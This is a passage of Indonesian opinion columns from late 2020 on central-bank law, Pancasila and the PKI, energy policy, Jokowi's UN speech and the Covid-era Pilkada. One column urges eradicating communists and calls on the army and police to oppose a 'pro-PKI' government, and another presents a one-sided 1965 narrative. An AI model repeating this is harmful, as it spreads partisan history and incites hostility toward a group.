by Anthony Budiawan Jakarta FNN – Ahad (27/09). Pandemi corona membuat mata masyarakat terbuka. Betapa lemahnya keuangan negara kita. Pandemi membuat defisit anggaran Pemerintah Pusat meningkat tajam. Karena penerimaan negara yang anjlok. Sedangkan belanja negara naik pesat. Pandemi membuat keuangan negara dalam tekanan. Rasio pembayaran bunga mencapai 25 persen dari penerimaan perpajakan (penerimaan pajak ditambah bea dan cukai). Sedangkan penerimaan pajak hanya sekitar 8 persen dari Produk Domestik Bruto(PDB). Sangat rendah sekali. Defisit anggaran 2020 diperkirakan Rp 1.000 triliun lebih. Ditambah kebutuhan bailout korporasi, baik untuk swasta maupun Badan Usaha Milik Negara (BUMN), utang pemerintah diperkirakan akan membengkan sampai Rp 1.200 triliun di tahun pandemi ini. Faktanya ketahanan Anggaran Pendapatn dan Belanja Negara (APBN) rapuh. Ketika menghadapi pandemi Corona, pemerintah harus menetapkan Peraturan Pemerinath Pengganti Undang-Undang (Perppu) Corona yang sudah disahkan menjadi Undang-Undang Nomor 2 tahun 2020. Isi Perppu itu intinya hanya minta bantuan kepada Bank Indonesia (BI). Pertama, BI diminta membeli Surat Berharga Negara (SBN) di pasar primer. Yang sebelumnya sangat taboo untuk dilakukan BI karena melanggar konstitusi. Atau sebagai standby buyer kalau SBN tidak diminati. Kedua, BI diminta turut menanggung beban bunga. Melalui burden sharing dan diskon bunga. Burden sharing dengan bunga nol (0) persen pada hakekatnya sama dengan cetak uang. Rencananya, bantuan BI ini hanya untuk satu tahun. Tetapi sepertinya akan diperpanjang hingga 2022. Atau bisa juga lebih dari 2022? Bisa saja terjadi. Karena, menurut info, DPR sedang menggoreng-goreng (baca: membahas) revisi undang-undang tentang Bank Indonesia. Katanya sih gorengan ini inisiatif DPR. Atau sebenarnya DPR ditugaskan oleh pemerintah? Ah sama saja. Karena masyarakat melihat eksekutif dan legislatif sudah menjadi satu-kesatuan. DPR sudah menjadi Kantor Cabang Presiden, alias berkolaborasi. Yang seharusnya juga melanggar konstitusi dan TAP MPR. Menurut rumor, revisi ini akan mengubah beberapa butir penting terkait UU BI. Pertama, membentuk Dewan Moneter atau Dewan Kebijakan Ekonomi Makro. Katanya, Dewan terdiri dari 5 anggota dengan Ketua Menteri Keuangan. Anggota lainnya adalah Ketua Bappenas, Gubernur BI, Deputi Gubernur Senior BI dan Ketua Dewan Komisioner Otoritas Jasa Keuangan(OJK). Pembentukan Dewan Moneter atau sejenisnya akan menempatkan BI di bawah eksekutif. Berarti struktur BI kembali ke struktur pemerintahan Orde Lama tahun 1953, yang kemudian berlanjut ke pemerintahan Orde Baru. Struktur ini membuat kebijakan moneter tidak terkendali. “Cetak uang berlebihan”. Mengakibatkan turbulensi dan krisis ekonomi. Akibatnya, pemerintah tumbang. Kedua, Bank Indonesia akan diizinkan membeli SBN di pasar primer secara permanen. Hal ini sebenarnya yang menjadi tujuan utama revisi UU BI. Agar pemerintah bisa menjalankan politik defisit anggaran tanpa memikirkan pendanaan atau pembiayaan. Bahkan BI boleh membeli SBN tanpa bunga. Alias “cetak uang”. Konsekuensinya kita sudah tahu, ekonomi terpuruk, terperosok ke jurang kehancuran. Ketiga, Bank Indonesia dibolehkan lagi memberi fasilitas pinjaman darurat kepada bank bermasalah. Dulu namanya Bantuan Likuiditas Bank Indonesia (BLBI). Revisi ini jelas akan mengembalikan status BI ke era primitif dulu, pada tahun 1953. Kalau rencana revisi dengan butir-butir utama itu terjadi, maka sama saja dengan bunuh diri. Ekonomi akan terpuruk. Karena investor asing akan menjauhi SBN pemerintah Indonesia. Karena revisi struktur BI seperti itu, akan menjadi ajang monetisasi utang (debt monetization) secara berlebihan. Bahasa awamnya “cetak uang”. Dampaknya, rupiah akan terpuruk. Inflasi naik tajam. Ekonomi terkontraksi. Yang juga tidak kalah penting, revisi UU yang menempatkan BI di bawah eksekutif, dan membolehkan BI membeli SBN di pasar primer, akan bertentangan dengan konstitusi. Akan bertentangan dengan UUD 1945.Juga bertentangan dengan Tap MPR Nomor XVI/MPR/1998 dan Tap MPR Nomor XVI/1998. Sehingga otomatis batal demi hukum. Pembentukan Dewan Moneter atau Dewan Kebijakan Ekonomi Makro untuk tujuan membawahi BI secara langsung bertentangan dengan Pasal 9 TAP MPR XVI/1998 yang berbunyi, “dalam rangka pengelolaan ekonomi keuangan nasional yang sehat, Bank Indonesia sebagai Bank Sentral harus mandiri, bebas dari campur tangan pemerintah dan pihak luar lainnya, dan kinerjanya dapat diawasi dan dipertanggungjawabkan. Oleh karena itu, DPR sebaiknya minta pemerintah fokus pada pembenahan ekonomi sektor riil saja. Jangan merusak sektor moneter yang menyandang status independen. Yang sudah terbukti cukup handal selama dua puluh tahun belakangan ini. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS).

Pengkhinatan Terhadap NKRI dan Pancasila

by Dr. Ahmad Yani SH. MH. Jakarta FNN – Ahad (27/09). Sejarah harus tetap ada, terutama dalam ruang-ruang kehidupan masyarakat. Sejarah harus hidup dalam ruang-ruang pendidikan. Menjadi bahan diskusi maupun perdebatan. Sejarah harus tetap dipelajari, karenamengandung makna kebudayaan yang besar. Memotong atau menghilangkan sejarah, bisa dikatakan sebagai kejahatan terhadap bangsa dan negara. Karena di dalam sejarah, kita dapat mengetahui, siapa pengkhianat dan siapa pahlawan. Sebab di sana ada kearifan budaya, jejak peradaban, dan nilai luhur bangsa yang menjadi spirit dari generasi ke generasi. Maka sejarah sangat penting bagi kehidupan berbangsa dan bernegara. Indonesia memiliki sejarah yang begitu kaya. Semenjak zaman perjuangan, zaman pergerakan, zaman revolusi dan zaman kemerdekaan, selalu menampilkan keunikan cerita. Dari cerita yang paling heroik, dramatis, hingga yang paling tragis. Maka sejarah menjadi penting bagi generasi muda untuk memahami karakter, sifat dan kepribadian bangsanya. Apabila sejarah dihilangkan maka identitas nasional kita akan didominasi oleh budaya-budaya luar yang menggempur budaya Indonesia. Bahkan sudah ada yang mengagumi budaya K-POP, seperti Wakil Presiden yang menyarankan generasi muda untuk membangkitkan spiritnya dengan belajar K-POP. Ini berbahaya. Sebab selain budaya generasi dari negeri Korea, K-POP juga dalam bahasa kritisnya "menciptakan generasi borjuis". Generasi yang tidak punya kepedulian pada jatidiri bangsanya sendiri. Sehingga sejarah perjuangan bangsanya sendiri bisa dilupakan. Begitu juga dengan keinginan Menteri Pendidikan Nadiem Makarim untuk menghilangkan pelajaran sejarah dalam kurikulum pendidikan nasional kita. Ini menteri sangat ngawur dan ngoco. Sebab lebih berbahaya sekali. Bahkan bisa meruntuhkan bangsa dan negara. Keinginan Merubah Pancasila Dengan menghilangkan sejarah, maka sejarah perjuangan kemerdekaan dan perumusan falsafah bangsa Indonesia juga akan mulai dilupakan sedikit demi sedikit. Kenyataan itu dapat kita tangkap dari skenario RUU HIP dan RUU BPIP. Ada penyelundupan sejarah yang mencoba menghilangkan peran tokoh bangsa dalam merumuskan Pancasila. Ini juga ngoco dan ngawur. Pancasila yang dipahami oleh RUU tersebut adalah pancasila yang merupakan pidato Seorang Soekarno tanggal 1 Juni 1945. Pidato itu berupa usulan seperti juga tokoh-tokoh Bangsa dalam BPUPK. Namun peran kolektif tokoh bangsa itu ingin dihilangkan dengan cara merumuskan Pancasila dalam pandangan seorang saja. Akhirnya sejarah Pancasila dirubah, dan isi Pancasila pun ikut dirubah pula. Pancasila yang dimaksud oleh RUU itu adalah Pancasila yang diperas menjadi Trisila dan Ekasila. Sebenarnya itu bukan Pancasila, itu hanya pidato Soekarno pada 1 Juni 1945. Tidak lebih, dan tidak kurang. Hari itu banyak tokoh bangsa yang berpidato tentang Pancasila. Bukan hanya Soekarno. Pancasila yang sesungguhnya itu lahir tanggal 22 Juni 1945 melalui Satu Panitia Kecil yang berisi 9 orang. Panitia itu berhasil merumuskan satu Staat fundamental Norm atau Filosofiche Groundslaag Indonesia Merdeka. Kemudian dokumen itu diberi Nama Piagaman Jakarta tanggal 22 Juni 1945. Meski pada tanggal 18 Agustus 1945 terjadi perubahan dari Piagam Jakarta dengan mencoret 7 anak kalimat yaitu “Dengan Kewajiban menjalankan syariat Islam bagi pemeluknya” menjadi Ketuhanan Yang Maha Esa. Namun yang dimaksud adalah kesepakatan luhur bangsa Indonesia yang diwakili oleh pendiri bangsa. Tidak ada kesepakatan Ekasila dan Trisila. Melainkan kesepakatan Pancasila 18 Agustus 1945. Piagam Jakarta adalah Pancasila itu sendiri. Hal tersebut dirangkum dan ditegaskan kembali dalam Dekrit Presiden 5 Juli 1959. Artinya, Pancasila itu adalah lima dasar bangsa Indonesia. Jadi tidak ada tafsiran lain selain Pancasila sebagaimana yang terkandung dalam Pembukaan UUD 1945. Apabila yang ingin merubah Pancasila, berarti sedang merongrong NKRI. Hanya PKI dan faham Komunis yang ingin merubah Pancasila secara total. Ingin mengganti negara Indonesia menjadi negara komunis, dengan ideologi komunis. PKI Menghina NKRI dan Pancasila Tidak bisa dipungkiri bahwa Komunisme adalah musuh utama Pancasila. Peristiwa sejarah tahun 1948 dimana terjadi pemberontakan di Madiun yang menewaskan Ulama dan Santri adalah penghinatan PKI terhadap NKRI dan Pancasila. Ketika bangsa Ini berjuang melawan agresi militer Belanda, PKI justru memanfaatkan keadaan itu untuk memecah belah bangsa dari dalam. Pemberontakan Madiun menjadi bukti permulaan PKI yang anti terhadap NKRI dan Pancasila. Usaha PKI mendekat dan mempengaruhi Presiden Soekarno memanen keberhasilan, yaitu Soekarno memberikan jalan bagi ideologi komunis dengan NASAKOM. Tipu muslihat PKI dengan menghalalkan segala cara, hingga pada tahun 1959 setelah berhasil mempraktikkan demokrasi terpimpin. Soekarno justru menjadikan PKI sebagai Partai politik yang dekat dengan Soekarno. Sepanjang periode itu, umat Islam mengalami masa-masa kelam. Setelah Partai Masyumi dipaksa membubarkan diri pada tahun 1960. Sejak itu, PKI tidak lagi memiliki kekuatan tandingan, hingga bebas melakukan apa saja. Termasuk berhianat pada tahun 1965. Organisasi Islam seperti Pelajar Islam Indonesia (PII) dan Himpunan mahasiswa Islam (HMI) menjadi bulan-bulanan PKI. Setiap saat organisasi-organisasi Islam itu mendapat ancaman, bahkan ancaman pembubaran akibat politik adu domba PKI. Sebab PKI berhasil mendapatkan kedudukan kuat di kekuasaan Demokrasi Terpimpin Soekarno. Dengan memanfaatkan kedekatan dengan Soekarno, dan keleluasaannya memainkan politik tanpa tandingan, maka pada Tahun 1965 tepatnya 30 September 1965, waktu dini hari, PKI melakukan pemberontakan. PKI menculik para Jenderal dan membunuhnya secara kejam. Peristiwa itu begitu tragis, yang terkenal dengan Kudeta PKI itu, hampir saja membuat bangsa Indonesia dikuasai oleh ideologi Komunis. Pancasila hampir saja hilang ditelan oleh pengkhianatan PKI itu. Sejarah kelam dan tragis itukah yang mau dihilangkan dari kurikulum pendidikan sejarah Indonesia? Gebleg… Atas pertolongan dan perlindungan Allah Tuhan Yang Maha Kuasa, Gerakan 30 September 1965 yang dilakukan PKI gagal total. Meski pemberontakan itu begitu kuat. Namun kekuatan pembela Pancasila bangkit. Rakyat mengambil bagian membantu ABRI untuk menumpas gerakan musuh Pancasila itu. Maka Gerakan 30 September 1965 adalah hari bersejarah yang menggambarkan penghinaan dan pengkhianatan terhadap NKRI dan Pancasila. Maka peristiwa tanggal 30 September itu adalah hari berkabung nasional. Hari dimana kita hampir saja tidak lagi menjadi NKRI yang berdasarkan Pancasila. Namun kita bersyukur. Pembela Pancasila lebih kuat dan banyak daripada musuh Pancasila itu. Ketika Pancasila dirongrong Rakyat bangkit untuk mempertahankannya. Itu dapat dibuktikan pada tahun 1965. Memperingati G30S PKI Untuk memperingati perakan pengkhianatan itu, maka Koalisi Aksi Menyelamatkan Indonesia (KAMI) menyerukan masyarakat untuk memutar kembali film G30SPKI. Kegiatan ini sebagai pelajaran bagi generasi muda untuk mengetahui kekejian kaum komunis terhadap bangsa Indonesia. Pemutaran film tersebut, tidak hanya untuk membuka kembali sejarah kelam itu. Tetapi juga menjadi pelajaran penting bagi generasi muda, bahwa meski beberapa kali PKI melakukan pemberontakan untuk merubah NKRI dan Pancasila, namun selalu saja gagal. Peristiwa berdarah itu kita rayakan dengan mengibarkan bendera setengah tiang pada tanggal terjadinya pemberontakan tanggal 30 September nanti. Dan tanggal 1 Oktober sebagai rasa syukur kita kepada Allah SWT, dan terima kasih dan penghormatan kita pada para pejuang yang menjadi korban keganasan PKI. Untuk mengingatkan peristiwa itu, kita kibarkan bendera satu ruang penuh. Selain rasa syukur dan terima kasih, pengibaran bendera satu ruang penuh sebagai bukti bahwa Pancasila tetap menjadi falsafah bangsa yang teruji oleh zaman. Maka KAMI mengajak seluruh bangsa Indonesia untuk memutar film G 30S PKI dan mengibarkan bendera setengah tiang pada tanggal 30 September 2020. Pada tanggal 1 Oktober 2020 kita mengibarkan bendera satu ruang penuh. Demikian, semoga Allah menjadikan Indonesia sebagai negara Pancasila, yaitu negara yang baldatun thoyyibatun wa robbun ghofur. Wallahualam bis shawab. Penulis adalah Koordinator Komite Eksekutif KAMI dan Dosen FH dan FISIP UMJ.

Kalau Bukan PKI, Nyatakan Terbuka Kalau PKI Itu Penghianat

by M Rizal Fadillah Jakarta FNN – Sabtu (26/09). Banyak kalangan dari pejabat negara, bahkan Presiden yang meragukan keberadaan atau kebangkitan kembali Neo PKI dan faham Komunisme. Bahkan dengan sinis menyatakan bahwa itu hanyalah koar-koar untuk kepentingan politik semata. Namun ketika indikasi tuduhan mengarah padanya, maka semua cepat-cepat menyakal. Membantah bahwa dirinya bukan PKI dan faham komunisme, baik itu sebagai simpatisan ataupun keturunan. Keberadaan aturan tentang larangan pengembangan PKI dan faham Komunisme, sekarang dijadikan tameng untuk "bersih diri". Masyarakat pada sisi lain, khususnya umat Islam, merasakan adanya peningkatan pengaruh faham komunisme dalam kehidupan kemasyarakatan atau kenegaraan. Tercium aroma kemunculan gerakan Neo-PKI dan faham komunisme itu sangat kental. Anak tokoh sentral PKI DN Aidit saja sudah berani tampil mengecam Jndral TNI (Punr.) Gatot Nurmantyo dan Koalisi Aksi Menyelamatkan Indonesia (KAMI). Memang "like father like son". Sama saja ayah dan anak. Kalau Gibran sama dengan Jokowi, ya Ilham Aidit juga pasti sama dengan DN Aidit. Kebangkinan PKI dan faham Komunisme itu tak bisa dianggap remeh. Ketika sulit untuk membantah adanya peningkatan eskalasi, namun pada saat itu juga bantahan tentu saja meningkat frekwensinya. Misalnya, mana itu PKI? Komunis kan sudah punah dan sudah mati. PKI dulu hanya sebagai korban. Film G 30 S PKI manipulatif dan seribu dalih lain dilemparkan. Semburan fitnah pun diarahkan pada elemen-elemen keagamaan. Dituduh sebagai kelompok yang radikal dan intoleran. Ini persis seperti gaya-gaya khas Komunis dulu yang dikenal dengan sebutan "firehose of falsehood". Nembak orang, lalu sembunyi diri. Sudahlah, sekarang ambil gampangnya saja. Nyatakan secara terbuka bahwa “PKI adalah penjahat dan penghianat bangsa”. Aapalagi kalau merasa diri bukan PKI dan faham komunisme. Bukan juga sebagai simpatisan. Bukan sebagai anak-cucu keturunan PKI dan faham komunis. Kalau Aada juga bukan sebagai penyebar faham komunisme, lalu sadar sebagai patriot yang cinta bangsa Indonesia berdasarkan Pancasila dan UUD 1945 tanggal 18 Agustus 1945, maka sampaikanlah secara tegas dan nyatakan terbuka saja bahwa “PKI itu adalah penjahat dan penghianat bangsa. Ajak masyarakat waspada akan kejahatan dan penghianatannya. Nah itu kan gampang, atau gamang? Bila tak mau dan tak berani terbuka, berarti ada rasa simpati atau yakin akan kebenaran perjuangan PKI dan faham Komunisme. Masih "ada rasa" dalam dada. Jika iya, maka konsekuensinya tentu harus siap-siap untuk berhadap-hadapan dengan semangat kerakyatan yang telah muak dengan ulah PKI dan faham Komunisme di negeri ini. Penghianat yang pandai pura-pura sebagai membela Pancasila. Padahal dengan berbagai cara, masih punya keinginan untuk mengubah ideologi negara Pancasila. Sebagai contoh, adanya inisiator untuk membuat Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) yang disahkan menjadi RUU Hak Inisiatif DPR. Sekarang menjadi RUU Badan Pembinaan Ideologi Pancasila Jangan salahkan rakyat, khususnya umat islam jika punya tekad yang membara untuk membasmi PKI dan faham Komunisme sampai keakar-akarnya. Tak peduli dengan tuduhan intoleran atau radikal sekalipun. PKI dan Komunis adalah musuh TNI, musuh Polisi, musuh Rakyat, dan musuh umat beragama. Aparat TNI dan Polisi harusnya berpihak pada rakyat dan negara. Bukan pada Pemerintah yang Pro PKI dan faham Komunis. Dimana dan kapanpun itu. Penulsia adalah Pemerhati Politik dan Kebangsaan.

Robohnya Hambatan Energi Ramah Lingkungan

by Salamuddin Daeng Jakarta FNN – Sabtu (26/09). Presiden Jokowi telah berjanji untuk menurunkan emisi hingga 26 persen pada tahun 2020, dan pemanfaatan Energi Baru Terbaharukan (EBT) sebesar 23% pada tahun 2025. Janji tersebut, tampaknya tidak bisa ditarik mundur. Sebab Presiden telah menandatangani Perjanjian Conference of the Parties (COP) 21 Paris. Sebuah komitmen yang besar dalam mewujudkan dunia yang lebih bersih dari polusi gas rumah kaca. Berbagai organisasi internasional yang bergerak di bidang lingkungan hidup telah datang menagih janji Pemerintah Indonesia. Greenpeace, sebuah organisasi ternama yang sangat kredibel misalnya menyoal banyaknya Pembangkit Listrik Tenga Uap (PLTU) yang berbahan bakar batubara yang tumbuh dan berkembang di tanah air. Greenpeace mengatakan, bahwa pemerintahan Jokowi bergerak ke arah yang salah dalam kaitan dengan mega proyek listrik 35.000 megawatt. Proyek yang justru menjauhkan pemerintah dari pencapaian komitmen pada perjanjian perubahan Ikllim CPO 21 di Paris. Sasaran tembak Greenpeace mengarah kepada pembangkit listtik milik Perusahaan Listrik Negara (PLN) dan anak perusahaannya. Mungkin ini adalah sasaran yang paling empuk. Sebab PLN merupakan BUMN yang seluruh rencana dan proyeknya berhubungan langsung dengan penguasa dan birokrasi. Meskipun sebetulnya mega proyek 35.000 megawatt sebagian besar yang dibangun adalah pembangkit listrik batubara. Juga sebagian besar milik swasta. Keberadaan pembangkit swasta atau Independent Power Producer (IPP) seringkali lepas dari pemantauan banyak pihak. Sebagian besar masyarkat umum masih beranggapan bahwa semua pembangkit listrik adalah milik PLN. Padahal tidak demikian. Sebagian listrik sekarang yang dihasilkan oleh 100 pembangkit PLTU batubara yang dikonsumsi masyarakat juga milik swasta. Jika proyek 35.000 megawatt selesai, maka sebagian besar PLTU nantinya adalah milik swasta. Sementara PLN sendiri telah berjuang keras mengembangkan pembangkit non batubara. Namun upaya ini tidak mudah karena harus berhadapan dengan kendala keuangan. Termasuk kendala regulasi dan birokrasi. Berbagai macam peraturan perundang undangan yang berlaku saat ini belum memberikan keleluasaan bagi tumbuh dan berkembangnya pembangkit non batubara. Akibatnya, pertumbuhan pembangkit batubara dua sampai tiga kali lebih cepat dari pembangkit pembangkit non batubara. Janji Jokowi Pada Dunia Presiden Jokowi memang berjanji yang besar pada perjanjian Paris COP 21. Dunia selalu memperhatikan komitmen Indonesia pada perjanjian perubahan iklim ini. Lagipula presiden Indonesia telah membuat komitmen yang kuat, yang mesti dilaksanakan semua pihak dengan sungguh sungguh. Jangan sampai mbah lelo. Sebab itu membuat Indonesia malu di mata masyarakat dunia. Perjanjian Paris COP 21 adalah perjanjian dibawah United Nations Framework Convention on Climate Change (UNFCCC) yang diselenggarakan pada tanggal 30 November hingga 12 Desember 2015 di Paris. Indonesia telah meratifikasi Persetujuan Paris ke dalam dokumen legal penyelenggaraan pemerintahan pada tahun 2016, dan berkomitmen untuk melakukan penurunan emisi sebelum tahun 2030. Komitmen untuk penurunan emisi Indonesia dalam Persetujuan Paris adalah sebesar 29 persen dengan usaha sendiri. Sedangkan penurunan sebesar 41 persen lagi dengan bantuan dari pihak eksternal, seperti organisasi internasional maupun dari negara anggota UNFCCC lain. Sebagai tindak lanjut dari komitmen selama COP 21, Indonesia telah meratifikasi Perjanjian Paris ke dalam Undang-Undang Nomor 16 Tahun 2016. Dengan demikian perjanjian ini telah bersifat mengikat atau legally binding. Jika pemerintah mengabaikannya, maka berpotensi Melanggar UU yang berlaku. Untuk itu, sebagai upaya mitigasi dan adaptasi, pemerintah Jokowi telah berkomitmen untuk meningkatkan penggunaan energi baru dan terbarukan dari 17 persen menjadi 23 persen. Jumlah tersebut, dari total konsumsi energi pada tahun 2025, dan 29 persen tahun 2030. Permasalahnya, upaya pemerintah Jokowi ke arah pencapaian tersebut, hingga sekarang belum menunjukkan hasil yang berarti. Banyak sekali aral yang melintang yang justru datang dari regulasi yang ada. Birokrasi pemerintahan Jokowi sebagai penghambat utama. Gugatan Serikat Pekerja PLN Upaya untuk menerobos hambatan bagi pengembangan energi yang ramah lingkungan datang dari Serikat Pelerja PLN. Baru-baru ini mereka mengajukan Judicial Review (JR) terhadap UU No 17 Tahun 2019 tentang Sumber Daya Air ke Mahkamah Konstitusi (MK). UU Ini adalah pengganti UU Sumber Daya Air sebelumnya yang dibatalkan secara keseluruhan oleh MK, karena bertentangan dengan konstitusi. UU yang lama tersebut digugat oleh PP Muhammadiyah. Keberadaan UU ini menyebabkan upaya untuk memanfaatkan air sebagai sumber energi yang murah dan ramah lingkungan kembali harus berhadapan dengan berbagai macam pungutan. Pemanfaatan setiap liter air untuk menggerakkan turbin pembangkit listrik serta kegiatan pemanfaatan air lainnya “dipalak” oleh sebuah lembaga yang ditunjuk pemerintah sebagaimana termaktub dalam pasal 58 UU No 17 Tahun 2019 tersebut. Mengapa dikatakan dipalak? Karena ini pungutan bukan pajak dan tidak diterima langsung oleh negara. Namun oleh sebuah lembaga yang dibentuk pemerintah untuk memungut. Pemanfaatan pungutan pun tidak jelas untuk apa, dan untuk siapa? Tampaknya pungutan itu tidak masuk di APBN. Pasal mengenai pungutan itu yang kini digugat oleh Serikat pekerja PLN. Alasan kunci pekerja, karena keberadaan pasal “pemalakan” ini telah menjadi beban keuangan bagi PLN yang saat ini tersandera berbagai macam pajak, pungutan dari berbagai lembaga hingga pemerintah daerah. Inilah yang semakin memberatkannya beban tarif listrik yang harus dibayar rakyat ditengah hantaman covid 19. Pungutan air ini merupakan kendala paling serius bagi pengembangan energi ramah lingkungan yang berbasis pada sumber daya lokal atau setempat. Akibatnya peluang bagi pengembangan energi ramah lingkungan hanya tersedia bagi pengembangan pembangkit yang seluruh bahan tehnologi dan SDM nya harus diimpor. Ini adalah bagian paling menyedihkan dalam urusan konsitensi pemerintah indonesia terhadap komitmen global dalam isue climate change. Langkah ke Depan Pemerintah memang tidak bisa apriori dengan tuntutan Greenpeace dan gerakan lingkungan lainya. Mereka berjuang atas landasan kepentingan publik internasional yang menginginkan lingkungan yang lebih baik. Mereka tidak mengurus Indonesia saja, atau menyerang penggunaan batubara yang ada di Indonesia saja, namun juga di seluruh dunia. Kebetulan saja Indonesia penghasil batubara dan eksportir terbesar di dunia saat ini. Sehingga menjadi fokus perhatian organisasi lingkungan tersebut. Namun tuntutan menutup pembangkit batubara yang telah dibangun oleh PLN karena desakan organisasi internasional sama sekali bukan merupakan jalan keluar. Apalagi alasan juga mereka belum cukup memadai. Pembangkit yang telah dibangun PLN selama ini adalah suatu upaya untuk memenuhi kebutuhan energi nasional. PLN sebagai tulang punggung bangsa Indonesia dalam memperoleh energi listrik. Sehingga upaya untuk meluruskan kembali jalur yang ditempuh pemerintah dalam menjalankan COP 21 Paris, dan UU ratifikasinya adalah membenahi semua regulasi yang menghambat pemerintah memanfaatkan sumber daya lokal bagi pengembangan energi ramah lingkungan. Diharapkan urusan memenuhi Penjajian COP 21 Paris ini tidak membebani neraca perdagangan Indonesia. Bahkan bisa meningkatkan serapan sumber daya lokal. Mengingat ketersediaan sumber daya air yang melimpah di dalam negeri, dan PLN merupakan pioner dalam pengembangan PLTA. Dengan dihapuskan berbagai hambatan bagi pengembangan energi ramah lingkungan, maka tidak ada alasan bagi investor asing maupun nasional untuk tidak melakukan investasi. Karena penggunaan energi fosil ke depan akan berhadapan dengan dengan pajak karbon yang tinggi. komitmen seluruh perbankkan dan lembaga keuangan global untuk menghentikan pembiayaan energi fosil pada 2030 mendatang. Bagi PLN sebagai perusahaan penyelenggara ketenagalistrikan nasional, akan dapat meningkatkan komitmennya dalam penurunan emisi dengan mengurangi secara progres pembangkit batubara dan minyak. PLN juga dapat diberi kewenangan oleh pemerintah untuk merenegosiasi kembali pembelian listrik swasta dalam skema Take Or Pay (TOP) yang berlaku saat ini. Dengan strategi ini, dirahapkan dapat mengurangi, bahkan menghentikan sistem pembelian listrik wajib dari pembangkit swasta berbahan bakar batubara dan minyak. Semoga tercapai. Penulis dalah Peneliti Asosiasi Ekonomi Politik Indonesia (AEPI).

Jokowi For Next Sekjen PBB, Oh No?

by Hersubeno Arief Jakarta FNN - Sabtu (26/09). Apa karir yang paling cocok bagi Presiden Jokowi pasca periode kedua masa jabatannya? “Jadi Sekjen PBB!” Jangan anggap ini hanya bercanda. Jangan pula buru-buru tertawa. Usulan serius ini datangnya dari pendukung garis keras Jokowi Ananda Sukarlan. Didukung oleh komposer kondang Addie MS. "Pidato Pakde Jokowi di Sidang Umum PBB keren banget. Berani, lugas, tegas, akurat. Jokowi for next Sekjen PBB," ujar Ananda Sukarlan. Cuitan Ananda di akun twitternya itu kemudian menjadi berita di sebuah media. Judulnya “Pidato Jokowi di PBB Dapat Pujian: Keren Banget, Jokowi For Next Sekjen PBB.” Addie MS kemudian membuat cuitan dengan melampirkan link berita tersebut. Cuitan Ananda dan Addie membuat dunia maya riuh rendah. Ada yang pro kontra. Jadi salah satu trending topic. Banyak yang mendukung, tapi banyak juga yang mengecamnya. Komentarnya cukup beragam. Ada yang lucu, dan pedas. Ada yang lucu-lucu pedas. Ada yang seolah mendukung dan menyatakan masih ada waktu empat tahun bagi Jokowi untuk belajar bahasa Inggris. Ada pula yang menganggap aneh dan memberi analogi. Ibarat anak sekolah yang sering bolos, sekali masuk, maunya jadi ketua kelas. Sebab Jokowi selama lima tahun terakhir selalu absen di Sidang Umum Majelis PBB. Biasanya diwakili oleh Wapres Jusuf Kalla. Baru kali ini dia hadir, itu pun hanya melalui pidato virtual yang sudah direkam lebih dahulu. Wajahnya tampil di SU PBB. Tapi raganya tetap ada di Jakarta. Bukan hanya medsos yang riuh. Media konvensional juga menyorotinya. Kornelius Purba, Editor senior media berbahasa Inggris The Jakarta Post membuat sebuah tulisan satire berjudul: Jokowi’s UN speech: Playing it safe on Palestine. Sebagai wartawan, Purba mengaku bingung bagaimana harus mengutip pernyataan Jokowi. Bagi Purba, hanya dua hal yang paling menonjol dalam pidato Jokowi. Pertama, janjinya yang berulang mendukung kemerdekaan Palestina. Kedua, nah ini yang unik, kalimat penutup Jokowi yang sangat simple dan lucu. “That is all from me!” Rasionalitas Pendukung Fenomena pendukung Jokowi seperti ditunjukkan oleh Ananda dan Addie MS mengingatkan kita pada sebuah syair lagu Gombloh. Penyanyi eksentrik asal Surabaya itu secara berkelakar bersenandung “Kalau cinta sudah melekat, tahi kucing terasa coklat.” Cinta berlebihan membutakan. Kehilangan rasionalitas. Too much love will kill you. Bahkan untuk seorang sekelas mereka berdua. Bayangkan bagaimana sikap para pendukung Jokowi yang secara intelektual jauh di bawah mereka. Para pendukung yang mau disuruh berbunyi apa saja. Gak pakai mikir. Dengan fakta bahwa Jokowi sangat menghindari persidangan PBB, hanya ada dua kemungkinan muncul usulan semacam itu. Pertama, dari pendukung bodoh. Tidak well informed. Tidak pernah baca dan nonton berita. Pendukung katrok dan culun. Kedua, dari orang yang ingin menjerumuskan dan mengolok-olok Jokowi. Dua-duanya tidak cocok dengan profil Ananda dan Addie. Mereka adalah maestro di bidang musik. Ananda adalah pianis dan komposer musik klasik. Punya reputasi dunia. Addie dikenal sebagai komposer dengan karya-karya yang menawan. Dia konduktor Twilite Orchestra yang sudah tampil di panggung-panggung Internasional. Keduanya pemuja Jokowi. Tidak mungkin mengolok-olok, apalagi sengaja menghinakan. Mereka sangat serius. Tidak sedang bercanda. Dengan fakta itu terpaksa kita harus membuka opsi ketiga. Pendukung yang cinta buta seperti digambarkan oleh Gombloh. Saking bingungnya, seorang netizen sampai membuat sebuah kesimpulan yang salah pula. Bunyi statusnya begini: Tidak benar musik klasik bisa membuat pintar. Buktinya Addie MS tambah bodoh! Ampyuuuunnnn…….End Penulis adalah Wartawan Senior FNN.co.id.

Cicero, "Salus Populi Suprema Lex Esto"

by Zainal Bintang We know how to bring the economy back to life, What we do not know is how to bring people back to life. "Kami tahu cara untuk menghidupkan kembali ekonomi. Yang kami tidak tahu adalah bagaimana menghidupkan kembali orang yang mati", kata Presiden Ghana, Nana Akufo Addo di twitternya yang viral 28 Maret lalu, terkait sikap tegasnya melockdown negaranya menghadapi wabah Covid19. Jakarta FNN – Sabtu (26/09). Jadwal Pemilihan Kepala Daerah (Pilkada) Serentak 9 Desember 2020 direcoki kebisingan suara pro dan kontra. Pemerintah dalam hal ini presiden Jokowi melalui juru bicaranya Fadjroel Rahman dengan tegas menolak Pilkada ditunda! Sementara sejumlah tokoh Organisasi Kemasyarakatan (Ormas) besar Islam seperti NU dan Muhammadiyah serta MUI (Majelis Ulama Indonesia) plus Jusuf Kalla(JK) meminta Pilkada Serentak ditunda. Pemerintah beralasan akan terjadi kekosongan pemerintahan di daerah apabila Pilkada ditunda karena banyak pejabat yang akan berakhir masa jabatannya. Berdasarkan Data Satuan Tugas Penanganan Covid 19, Jumat (25/09) jumlah pasien yang positif Covid-19 sudah menjadi 266.845 orang. Penambahan 4.823 kasus dalam sehari kemarin. Kesembuhan mencapai 196.196 orang. Yang meninggal dunia sebanyak 10.218 orang. Grafik korban pasien positif Covid-19 melaju setiap hari. Pada saat yang sama kualitas layanan petugas maupun fasilitas kesehatan sangat kewalahan. Inilah yang mendorong ungkapan filsuf 